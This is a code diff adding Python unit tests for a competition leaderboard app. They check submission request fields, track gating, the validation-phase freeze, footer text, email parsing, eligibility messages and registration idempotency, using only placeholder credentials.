+        self.assertFalse(ok)
+        self.assertNotIn("internal-bucket", why)
+        self.assertIn("retry", why)
+
+
+class WorkerContractTest(unittest.TestCase):
+    """The request written here must be one the organizers' worker accepts.
+
+    The worker lives outside this repository and cannot be imported from this
+    repo, so its contract is restated here. If a field name below changes, change
+    it in BOTH places; a mismatch is silent, and its symptom is a team whose
+    submission is written successfully and then never scored.
+
+    The reverse direction is pinned on the worker's side, where
+    tests/test_test_phase_worker.py runs parse_request() against this same shape.
+    """
+
+    # From test_phase_worker.parse_request(): fields it requires non-empty, and
+    # the two anchored patterns it applies.
+    WORKER_REQUIRED = ("submission_id", "track", "division", "team_name", "hf_user")
+    WORKER_PHASE = "test"
+    WORKER_TRACKS = ("convqa", "longqa", "proactive")
+    WORKER_DIVISIONS = ("small", "large")
+    WORKER_ECR_RE = (
+        r"^(?P<registry>\d{12}\.dkr\.ecr\.[a-z0-9-]+\.amazonaws\.com)"
+        r"/(?P<repository>[a-z0-9][a-z0-9._/-]*[a-z0-9])$"
+    )
+    WORKER_DIGEST_RE = r"^sha256:[0-9a-f]{64}$"
+
+    def setUp(self):
+        self.api = FakeApi()
+        for p in (
+            mock.patch.object(st, "HfApi", lambda token=None: self.api),
+            mock.patch.object(config, "TEST_PHASE_OPEN", True),
+            mock.patch.object(st, "count_test_submissions", lambda *a, **k: 0),
+        ):
+            p.start()
+            self.addCleanup(p.stop)
+
+    def _emit(self, track="convqa", division="large"):
+        params = 8_000_000_000 if division == "large" else 1_000_000_000
+        ok, msg = st.validate_and_submit(
+            hf_user="team_a", track=track, division=division, team_name="Team A",
+            model_name="M-8B", license_str="apache-2.0", open_weight=True,
+            total_params=params, active_params=params,
+            image_ref=REF, image_digest=DIGEST, token="t")
+        self.assertTrue(ok, msg)
+        return json.loads(self.api.uploads[-1][1])
+
+    def test_the_emitted_request_satisfies_every_worker_requirement(self):
+        obj = self._emit()
+        self.assertEqual(self.WORKER_PHASE, obj.get("phase"))
+        for k in self.WORKER_REQUIRED:
+            self.assertTrue(obj.get(k), f"worker requires a non-empty {k!r}")
+        self.assertIn(obj["track"], self.WORKER_TRACKS)
+        self.assertIn(obj["division"], self.WORKER_DIVISIONS)
+        image = obj.get("image") or {}
+        self.assertTrue(re.match(self.WORKER_ECR_RE, image.get("ref", "")))
+        self.assertTrue(re.match(self.WORKER_DIGEST_RE, image.get("digest", "")))
+
+    def test_every_track_and_division_the_ui_offers_is_one_the_worker_knows(self):
+        # A track offered on the Test tab and not known to the worker would be
+        # rejected after the team spent a slot. TEST_TRACKS is what the tab
+        # offers; TRACKS is the full set the worker parses, and the test phase
+        # deliberately offers fewer, so this is a subset check, not equality.
+        self.assertTrue(set(config.TEST_TRACKS) <= set(self.WORKER_TRACKS))
+        self.assertEqual(set(self.WORKER_TRACKS), set(config.TRACKS))
+        self.assertEqual(set(self.WORKER_DIVISIONS), set(config.DIVISIONS))
+
+    def test_this_repos_patterns_are_the_workers_patterns(self):
+        self.assertEqual(self.WORKER_ECR_RE, config.ECR_REF_RE)
+        self.assertEqual(self.WORKER_DIGEST_RE, config.DIGEST_RE)
+
+    def test_the_path_matches_where_the_worker_looks(self):
+        # The worker globs requests/test/**/request.json and derives nothing else
+        # from the path, but it does read the submission id back out of it.
+        obj = self._emit(track="longqa", division="small")
+        path = self.api.uploads[-1][0]
+        self.assertEqual(
+            f"requests/test/longqa/small/{obj['submission_id']}/request.json", path)
+
+
+class NoTestClassIsStrandedTest(unittest.TestCase):
+    """The __main__ guard must be the last thing in the file.
+
+    `python3 <file>` calls unittest.main() at the guard, so any class below it is
+    never defined and is silently skipped while the run still prints OK. This bit
+    the organizers' worker suite at 10 of 16 classes stranded.
+    """
+
+    def test_no_test_class_is_declared_below_the_main_guard(self):
+        import ast
+
+        with open(__file__, encoding="utf-8") as fh:
+            tree = ast.parse(fh.read())
+        guards = [n.lineno for n in ast.walk(tree)
+                  if isinstance(n, ast.If) and "__main__" in ast.dump(n.test)]
+        self.assertEqual(1, len(guards), "expected exactly one __main__ guard")
+        stranded = [n.name for n in tree.body
+                    if isinstance(n, ast.ClassDef) and n.lineno > guards[0]]
+        self.assertEqual([], stranded, f"classes below the guard: {stranded}")
+
+
+class TestPhaseOffersOnlyScorableTracksTest(unittest.TestCase):
+    """The Test tab must not offer a track we cannot score.
+
+    Registration is what consumes one of a team's three per-track slots, so a
+    track offered without staged gold costs the participant a slot and returns
+    nothing. EgoProactive is exactly that today: the split list exists but the
+    gold jsonl and the staged test videos do not.
+
+    If the proactive test gold is staged later, add "proactive" to
+    config.TEST_TRACKS and this whole class goes green with no other edit; the
+    first test below is the one that will start failing, which is the intent.
+    """
+
+    def test_the_offered_tracks_are_exactly_the_unblocked_ones(self):
+        # Assert the DERIVATION, not the current membership. An earlier version
+        # of this class pinned "proactive" absent, which meant the documented
+        # one-line reopen (delete its TEST_TRACKS_BLOCKED entry) failed the
+        # suite -- the test contradicted the comment telling you how to change
+        # it. Now removing the entry is genuinely the only edit needed.
+        self.assertEqual(
+            [t for t in config.TRACKS if t not in config.TEST_TRACKS_BLOCKED],
+            config.TEST_TRACKS,
+        )
+
+    def test_every_blocked_track_is_real_and_carries_a_reason(self):
+        for t, why in config.TEST_TRACKS_BLOCKED.items():
+            self.assertIn(t, config.TRACKS, f"{t} is blocked but is not a track")
+            self.assertGreater(len(why), 40, f"{t} is blocked without a reason")
+
+    def test_the_test_tracks_are_a_subset_of_the_tracks(self):
+        self.assertTrue(set(config.TEST_TRACKS) <= set(config.TRACKS))
+
+    def test_no_unmanaged_open_in_this_file(self):
+        # The ResourceWarning that prompted this: one bare open() among the
+        # with-statements, invisible under a normal run and fatal under
+        # -W error::ResourceWarning.
+        import ast
+
+        with open(__file__, encoding="utf-8") as fh:
+            tree = ast.parse(fh.read())
+        managed = set()
+        for n in ast.walk(tree):
+            if isinstance(n, (ast.With, ast.AsyncWith)):
+                for item in n.items:
+                    if isinstance(item.context_expr, ast.Call):
+                        managed.add(id(item.context_expr))
+        bare = [
+            n.lineno
+            for n in ast.walk(tree)
+            if isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "open"
+            and id(n) not in managed
+        ]
+        self.assertEqual([], bare, f"unmanaged open() at line(s): {bare}")
+
+    def test_every_offered_track_has_a_label_and_a_config_folder(self):
+        for t in config.TEST_TRACKS:
+            self.assertIn(t, config.TRACK_LABELS)
+            self.assertIn(t, config.TRACK_CONFIG)
+
+    def test_the_test_tab_radio_is_built_from_test_tracks(self):
+        # The radio is built at import time inside a gradio Blocks context, so
+        # it cannot be introspected here. Assert on the source instead: the
+        # Test tab is the SECOND track radio in app.py, and it must not be
+        # wired to config.TRACKS.
+        import ast
+
+        app_py = os.path.join(
+            os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
+        )
+        with open(app_py, encoding="utf-8") as fh:
+            tree = ast.parse(fh.read())
+        radios = [
+            n
+            for n in ast.walk(tree)
+            if isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Attribute)
+            and n.func.attr == "Radio"
+            and any(
+                isinstance(k, ast.keyword) and k.arg == "label"
+                and getattr(k.value, "value", None) == "Track"
+                for k in n.keywords
+            )
+        ]
+        # Re-pointed 2026-08-06: registration added a third Track radio. The
+        # property is unchanged and now covers it: only the VALIDATION radio may
+        # offer config.TRACKS. Every radio on a test-phase form must be built
+        # from TEST_TRACKS, or the form offers a track the phase cannot score
+        # and a team spends a seat on it.
+        sources = [ast.unparse(r.args[0]) for r in radios]
+        self.assertEqual(3, len(radios), f"Track radios found: {sources}")
+        self.assertEqual(1, sources.count("config.TRACKS"), "only Validation may use TRACKS")
+        self.assertEqual(2, sources.count("config.TEST_TRACKS"), sources)
+        self.assertEqual("config.TRACKS", sources[0], "Validation tab is built first")
+
+    def test_the_form_sections_are_numbered_like_the_instructions(self):
+        """The tab has two forms and a four-step guide; they must agree.
+
+        Before this, the guide called submission Step 4 while the form section
+        above it said "Step 2", so a participant reading both got two different
+        numbers for the same action. Pinned because the two live ~300 lines
+        apart and drift silently.
+        """
+        app_py = os.path.join(
+            os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
+        )
+        with open(app_py, encoding="utf-8") as fh:
+            src = fh.read()
+
+        guide = re.findall(r"^### Step (\d) — (.+)$", src, re.M)
+        self.assertEqual(["1", "2", "3", "4"], [n for n, _ in guide],
+                         f"guide steps are not 1-4: {guide}")
+
+        # Every step the guide names must be reachable from the tab: either as a
+        # form section of its own, or named in the pointer that covers it.
+        for n, title in guide:
+            self.assertIn(f"Step {n}", src, f"guide Step {n} ({title}) is unreachable")
+
+        # The two interactive sections carry the guide's own numbers, and the
+        # two off-page steps are covered by one section between them, so the tab
+        # reads 1, 2-3, 4 with no gap and no bare heading breaking the rhythm.
+        self.assertIn('"Step 1 — Register your team', src)
+        self.assertIn('"Steps 2 and 3 — Build your image', src)
+        self.assertIn('"Step 4 — Submit an image for evaluation"', src)
+        self.assertNotIn('"Step 2 — Register an image', src)
+
+    def test_every_step_of_the_test_tab_is_the_same_kind_of_section(self):
+        """All four steps are accordions; none is a bare heading.
+
+        Steps 1 and 4 were accordions while 2 and 3 were an H3 with loose prose
+        between them, so the middle of the flow looked like a different kind of
+        thing and read as a divider rather than a step.
+        """
+        app_py = os.path.join(
+            os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
+        )
+        with open(app_py, encoding="utf-8") as fh:
+            src = fh.read()
+        tab = src[src.index("def test_register_section"):src.index("def submit_tab")]
+        for title in ('"Step 1 — Register your team',
+                      '"Steps 2 and 3 — Build your image',
+                      '"Step 4 — Submit an image for evaluation"'):
+            i = tab.index(title)
+            before = tab[max(0, i - 200):i]
+            self.assertIn("gr.Accordion", before, f"{title} is not an accordion")
+        # No step is a markdown heading.
+        self.assertNotIn("### Step", tab)
+        self.assertNotIn("### Steps", tab)
+
+    def test_the_test_tab_has_exactly_one_sign_in_button(self):
+        # Both forms need the same session. Two buttons on one tab read as two
+        # different logins and invite a participant to sign in twice.
+        app_py = os.path.join(
+            os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
+        )
+        with open(app_py, encoding="utf-8") as fh:
+            src = fh.read()
+        section = src[src.index("def test_register_section"):src.index("def submit_tab")]
+        self.assertEqual(1, section.count("gr.LoginButton"),
+                         "the Test tab must have exactly one LoginButton")
+
+    def test_a_blocked_track_is_refused_with_a_useful_message(self):
+        # Generic over TEST_TRACKS_BLOCKED, not hardcoded to proactive, so that
+        # emptying that dict (the documented one-line reopen) leaves this green.
+        # The last block always runs, so this is never a vacuous pass.
+        args = dict(
+            division="large",
+            total_params=8_000_000_000,
+            active_params=8_000_000_000,
+            image_ref="123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/t",
+            image_digest="sha256:" + "a" * 64,
+        )
+        for t in config.TEST_TRACKS_BLOCKED:
+            ok, why = st.validate_only(track=t, **args)
+            self.assertFalse(ok, f"{t} is blocked but validated")
+            # Not "unknown track": it is a real track with no test gold.
+            self.assertNotIn("Unknown track", why)
+            self.assertIn("cannot score", why)
+            for open_t in config.TEST_TRACKS:
+                self.assertIn(config.TRACK_LABELS[open_t], why)
+
+        self.assertTrue(config.TEST_TRACKS, "the test phase offers no tracks at all")
+        for t in config.TEST_TRACKS:
+            ok, why = st.validate_only(track=t, **args)
+            self.assertTrue(ok, f"{t} is offered but does not validate: {why}")
+
+if __name__ == "__main__":
+    unittest.main()

tests/test_val_phase_closed.py

@@ -0,0 +1,346 @@
+#!/usr/bin/env python3
+"""The validation freeze, and specifically that it is not just the button.
+
+Disabling a Gradio button hides an action; it does not remove the endpoint
+behind it. So what these pin is the server-side refusal, plus the two things
+that must keep working while the phase is closed: the format checker, which
+writes nothing, and the test-phase path, which is a different phase.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+import unittest
+from unittest import mock
+
+sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
+
+import config  # noqa: E402
+import submit  # noqa: E402
+
+ONE_ROW = '{"video_path": "a.mp4", "answers": ["x"]}\n'
+
+ARGS = dict(
+    hf_user="someone",
+    track="convqa",
+    division="small",
+    team_name="A Team",
+    model_name="m",
+    license_str="mit",
+    open_weight=True,
+    total_params=1_000_000_000,
+    active_params=1_000_000_000,
+    predictions_raw=ONE_ROW,
+    token="not-a-real-token",
+)
+
+
+class ValPhaseFreezeTest(unittest.TestCase):
+    def test_closed_by_default(self) -> None:
+        """The freeze must not depend on anyone setting a secret."""
+        self.assertFalse(
+            config.VAL_PHASE_OPEN,
+            "VAL_PHASE_OPEN defaults open, so shipping this would not freeze "
+            "anything until a secret was set",
+        )
+
+    def test_submit_is_refused_while_closed(self) -> None:
+        with mock.patch.object(config, "VAL_PHASE_OPEN", False):
+            ok, msg = submit.validate_and_submit(**ARGS)
+        self.assertFalse(ok)
+        self.assertIn("Validation Phase is closed", msg)
+
+    def test_the_refusal_happens_before_anything_is_read_or_written(self) -> None:
+        """A closed phase is not a validation failure.
+
+        If the freeze sat after validate_only(), a team with a malformed file
+        would be told to fix the file, and a team with a good one would have it
+        parsed and uploaded before being refused.
+        """
+        with mock.patch.object(config, "VAL_PHASE_OPEN", False):
+            with mock.patch.object(
+                submit, "parse_predictions", side_effect=AssertionError("parsed")
+            ):
+                ok, msg = submit.validate_and_submit(**ARGS)
+        self.assertFalse(ok)
+        self.assertIn("Validation Phase is closed", msg)
+
+    def test_reopening_gets_past_the_freeze(self) -> None:
+        """The control: with the flag flipped the refusal must disappear.
+
+        It still fails, on the row count, which is the point. A test that only
+        checked the closed case would pass against a freeze that refuses
+        everything unconditionally.
+        """
+        with mock.patch.object(config, "VAL_PHASE_OPEN", True):
+            ok, msg = submit.validate_and_submit(**ARGS)
+        self.assertFalse(ok, "one row is not a valid submission")
+        self.assertNotIn("Validation Phase is closed", msg)
+        self.assertIn("700", msg)
+
+    def test_the_format_checker_still_works_while_closed(self) -> None:
+        """It writes nothing and is useful to a team preparing for the test."""
+        with mock.patch.object(config, "VAL_PHASE_OPEN", False):
+            ok, msg = submit.validate_only(
+                track="convqa",
+                division="small",
+                total_params=1_000_000_000,
+                active_params=1_000_000_000,
+                predictions_raw=ONE_ROW,
+            )
+        self.assertFalse(ok)
+        self.assertNotIn("closed", msg.lower())
+
+    def test_the_notice_reads_correctly_in_both_places(self) -> None:
+        """It is shown on the Leaderboard tab and the Submit tab."""
+        notice = config.VAL_CLOSED_NOTICE
+        for word in ("below", "above"):
+            self.assertNotIn(
+                word,
+                notice.lower(),
+                "the notice is placed on two tabs, so it cannot point at one",
+            )
+        self.assertIn("closed", notice.lower())
+
+
+class BoardFooterTest(unittest.TestCase):
+    """What the board says about its own freshness.
+
+    The footer used to hardcode "auto-refreshes every 60s" regardless of the
+    timer, so the Test board advertised 60 while refreshing every 120. It is now
+    driven by the interval the caller actually set, which is the same value that
+    decides whether a timer exists at all.
+    """
+
+    def setUp(self) -> None:
+        import pandas as pd
+
+        import results
+
+        self.results = results
+        self.df = pd.DataFrame(
+            [
+                {
+                    "phase": "val",
+                    "status": "FINISHED",
+                    "verified_at": "2026-08-01T10:00:00Z",
+                },
+                {
+                    "phase": "val",
+                    "status": "FINISHED",
+                    "verified_at": "2026-08-07T22:31:04Z",
+                },
+            ]
+        )
+
+    def test_a_frozen_board_advertises_no_refresh(self) -> None:
+        line = self.results._footer_line(self.df, "val", None)
+        self.assertNotIn("refresh", line.lower())
+        self.assertIn("Final standings", line)
+
+    def test_a_frozen_board_reports_the_age_of_the_data(self) -> None:
+        """Not its render time, which for a final board means nothing."""
+        line = self.results._footer_line(self.df, "val", None)
+        self.assertIn("2026-08-07 22:31:04", line, "the latest scored submission")
+        self.assertNotIn("2026-08-01", line, "not the earliest")
+
+    def test_the_advertised_interval_is_the_one_that_was_set(self) -> None:
+        for seconds, expected in [(300, "every 5 min"), (60, "every 1 min"), (90, "every 90s")]:
+            with self.subTest(seconds=seconds):
+                self.assertIn(expected, self.results._footer_line(self.df, "val", seconds))
+
+    def test_no_timer_is_created_for_a_frozen_board(self) -> None:
+        """The footer is a claim; this is the behaviour behind it.
+
+        Read as source rather than imported: app.py needs gradio, which is not
+        installed everywhere the tests run, and a test that skips itself when a
+        dependency is missing reports nothing while looking green.
+        """
+        path = os.path.join(
+            os.path.dirname(os.path.abspath(__file__)), os.pardir, "app.py"
+        )
+        with open(path) as fh:
+            src = fh.read()
+        board = src[src.index("def _phase_board("):]
+        board = board[: board.index("\ndef ", 1)]
+        self.assertIn("if interval:", board, "the timer must be conditional")
+        self.assertNotIn(
+            "gr.Timer(interval).tick(\n            lambda o: _iframe(phase, o, force=True)\n",
+            board.replace("if interval:", ""),
+        )
+        tab = src[src.index("def leaderboard_tab():"):]
+        tab = tab[: tab.index("\ndef ", 1)]
+        self.assertIn('_phase_board("val", None', tab, "validation must not poll")
+        self.assertIn('_phase_board("test", 300', tab, "test polls every 5 min")
+
+
+class PointOfContactInputTest(unittest.TestCase):
+    """The members box above asks for `Name, email`, so people paste that here.
+
+    Rejecting it is technically correct and useless: the participant has typed
+    their own address correctly and is told it is not an address.
+    """
+
+    def setUp(self) -> None:
+        import register_test
+
+        self.rt = register_test
+
+    def test_a_bare_address_is_accepted(self) -> None:
+        self.assertEqual(self.rt.parse_email("ada@example.com")[0], "ada@example.com")
+
+    def test_a_pasted_roster_line_is_accepted(self) -> None:
+        for raw in ("Ada Lovelace, ada@example.com", "  Ada Lovelace ,  ada@example.com "):
+            with self.subTest(raw=raw):
+                self.assertEqual(self.rt.parse_email(raw)[0], "ada@example.com")
+
+    def test_two_addresses_are_still_refused(self) -> None:
+        """Ambiguous, so guessing one would write to the wrong person."""
+        got, why = self.rt.parse_email("ada@example.com, alan@example.org")
+        self.assertIsNone(got)
+        self.assertIn("does not look like an email", why)
+
+    def test_the_refusal_says_what_to_type(self) -> None:
+        _, why = self.rt.parse_email("Ada Lovelace")
+        self.assertIn("Enter just the address", why)
+        self.assertIn("ada@example.com", why)
+
+    def test_an_empty_box_is_still_refused(self) -> None:
+        self.assertIsNone(self.rt.parse_email("")[0])
+
+
+class EligibilityFailureMessagesTest(unittest.TestCase):
+    """Which failure the participant is told about.
+
+    All three sources used to load in one try, so a missing credentials file
+    reported as "could not check eligibility": the opposite of what happened,
+    since eligibility was never checked, and it told a shortlisted team to retry
+    something that could not succeed until an organizer uploaded a file.
+    """
+
+    def setUp(self) -> None:
+        import config
+        import register_test
+
+        self.rt = register_test
+        self.config = config
+        self.args = dict(
+            hf_user="someone",
+            team_name="A Team",
+            track="convqa",
+            division="small",
+            members="Ada Lovelace, ada@example.com",
+            poc="ada@example.com",
+            model_name="m",
+            total_params_b=1,
+        )
+
+    def issue(self):
+        with mock.patch.object(self.config, "TEST_PHASE_OPEN", True):
+            return self.rt.issue(mock.MagicMock(), **self.args)
+
+    def test_a_missing_credentials_file_is_not_reported_as_an_eligibility_problem(self):
+        """It is a state, not a failure: nothing has been issued yet."""
+        from huggingface_hub.errors import EntryNotFoundError
+
+        with mock.patch.object(self.rt, "load_shortlist", return_value={"a team": {"convqa/small": {}}}), \
+             mock.patch.object(self.rt, "validation_pairs", return_value={("someone", "a team")}), \
+             mock.patch.object(self.rt, "load_credentials", side_effect=EntryNotFoundError("404")):
+            ok, msg = self.issue()
+        self.assertFalse(ok)
+        self.assertIn("shortlisted", msg)
+        self.assertIn("not been issued yet", msg)
+        self.assertNotIn("Could not read", msg)
+        self.assertNotIn("retry in a few minutes", msg)
+
+    def test_an_unreadable_shortlist_says_so(self) -> None:
+        with mock.patch.object(self.rt, "load_shortlist", side_effect=OSError("boom")):
+            ok, msg = self.issue()
+        self.assertFalse(ok)
+        self.assertIn("shortlist", msg.lower())
+        self.assertIn("on our side", msg)
+
+    def test_unreadable_validation_results_say_so(self) -> None:
+        with mock.patch.object(self.rt, "load_shortlist", return_value={}), \
+             mock.patch.object(self.rt, "validation_pairs", side_effect=OSError("boom")):
+            ok, msg = self.issue()
+        self.assertFalse(ok)
+        self.assertIn("validation results", msg.lower())
+
+    def test_no_message_leaks_the_private_repo_path(self) -> None:
+        """The reason they were generic in the first place."""
+        for patch in (
+            mock.patch.object(self.rt, "load_shortlist", side_effect=OSError("facebook/wearable-ai-leaderboard-requests/admin/x.json")),
+        ):
+            with patch:
+                _, msg = self.issue()
+            self.assertNotIn("wearable-ai-leaderboard-requests", msg)
+            self.assertNotIn("admin/", msg)
+
+
+class RegistrationIsIdempotentTest(unittest.TestCase):
+    """Registering the same seat twice.
+
+    Idempotent in the ways that matter: nothing is minted, no submission slot is
+    spent, and the same credentials come back. The ledger is deliberately NOT
+    idempotent, one row per claim, because it records how many times a key was
+    shown rather than acting as a lock; a team that loses the page has to be
+    able to get it back.
+    """
+
+    def setUp(self) -> None:
+        import config
+        import register_test
+
+        self.rt = register_test
+        self.config = config
+        self.cred = {
+            "repo_uri": "1234.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/a-team",
+            "access_key_id": "AKIAIOSFODNN7EXAMPLE",
+            "secret_access_key": "not-a-real-secret",
+            "region": "us-east-2",
+        }
+
+    def issue_twice(self, params=(1, 1)):
+        api = mock.MagicMock()
+        out = []
+        with mock.patch.object(self.config, "TEST_PHASE_OPEN", True), \
+             mock.patch.object(self.rt, "load_shortlist",
+                               return_value={"a team": {"convqa/small": {}}}), \
+             mock.patch.object(self.rt, "validation_pairs",
+                               return_value={("someone", "a team")}), \
+             mock.patch.object(self.rt, "load_credentials",
+                               return_value={"a team": self.cred}):
+            for p in params:
+                out.append(
+                    self.rt.issue(api, "someone", "A Team", "convqa", "small",
+                                  "Ada Lovelace, ada@example.com", "ada@example.com",
+                                  "m", p)
+                )
+        return api, out
+
+    def test_the_same_credentials_come_back(self) -> None:
+        _, out = self.issue_twice()
+        self.assertTrue(all(ok for ok, _ in out))
+        self.assertEqual(out[0][1], out[1][1], "the second claim must render the same")
+
+    def test_a_second_claim_writes_its_own_ledger_row(self) -> None:
+        """Not a duplicate: the ledger counts disclosures."""
+        api, _ = self.issue_twice()
+        paths = [
+            c.kwargs.get("path_in_repo")
+            for c in api.upload_file.call_args_list
+            if str(c.kwargs.get("path_in_repo", "")).startswith(self.rt.LEDGER_DIR)
+        ]
+        self.assertEqual(len(paths), 2)
+        self.assertEqual(len(set(paths)), 2, "rows must not collide and overwrite")
+
+    def test_no_credential_is_ever_created_by_registering(self) -> None:
+        """The Space cannot mint. It looks a team up in a deposited map."""
+        src = open(
+            os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir,
+                         "register_test.py")
+        ).read()
+        for verb in ("create-access-key", "create_access_key", "boto3", "iam"):
+            self.assertNotIn(verb, src, f"registration must not reach for {verb}")